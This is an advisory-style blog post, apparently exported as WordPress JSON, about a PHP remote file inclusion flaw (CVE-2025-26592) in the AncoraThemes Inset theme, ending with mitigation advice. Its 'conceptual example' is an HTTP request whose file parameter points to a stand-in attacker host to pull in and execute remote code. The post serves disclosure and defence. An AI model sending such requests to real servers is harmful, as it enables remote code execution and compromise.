{"id":52204,"date":"2025-06-15T12:04:55","date_gmt":"2025-06-15T12:04:55","guid":{"rendered":""},"modified":"2025-10-05T05:20:32","modified_gmt":"2025-10-05T11:20:32","slug":"cve-2025-26592-php-remote-file-inclusion-vulnerability-in-ancorathemes-inset","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-26592-php-remote-file-inclusion-vulnerability-in-ancorathemes-inset\/","title":{"rendered":"CVE-2025-26592: PHP Remote File Inclusion Vulnerability in AncoraThemes Inset<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability we are focusing on in this post is a critical one, identified as CVE-2025-26592, which originates from an improper control of filename for include\/require statement in PHP program, more commonly known as ‘PHP Remote File Inclusion’. This vulnerability resides in AncoraThemes Inset, a widely used WordPress theme. This vulnerability matters due to the potential system compromise or data leakage it presents, which could lead to unauthorized<\/a> access to sensitive information or even total control over the affected system. The severity of the issue, combined with the popularity of the affected software, makes addressing this vulnerability<\/a> an urgent task for those utilizing AncoraThemes Inset.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-26592
\nSeverity: Critical (CVSS score 8.1)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise<\/a> or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

AncoraThemes Inset | Up to and including 1.18.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the improper control<\/a> of filename for include\/require statement in PHP within AncoraThemes Inset. This allows an attacker to manipulate the file path that’s passed to these PHP include\/require functions, which can then be used to include files from remote servers<\/a>. This remote file inclusion (RFI) vulnerability provides an opportunity for an attacker to execute arbitrary code<\/a> on the server, leading to potential system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited. In this case, an HTTP request<\/a> is used to pass a malicious file path to the server:<\/p>\n

GET \/path\/to\/vulnerable\/script.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable.example.com<\/code><\/pre>\n
In this example, the ‘file’ parameter in the URL is manipulated<\/a> to include a file from an attacker-controlled server (‘attacker.com’). The content of ‘malicious_script.txt’ would then be executed on the vulnerable<\/a> server.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The recommended mitigation action for this vulnerability<\/a> is to apply the vendor’s patch. In cases where immediate patching is not possible, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these methods can only reduce the risk and not fully eliminate it; applying the vendor\u2019s patch should be the ultimate goal to resolve the vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The vulnerability we are focusing on in this post is a critical one, identified as CVE-2025-26592, which originates from an improper control of filename for include\/require statement in PHP program, more commonly known as ‘PHP Remote File Inclusion’. This vulnerability resides in AncoraThemes Inset, a widely used WordPress theme. This vulnerability matters due to […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-52204","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t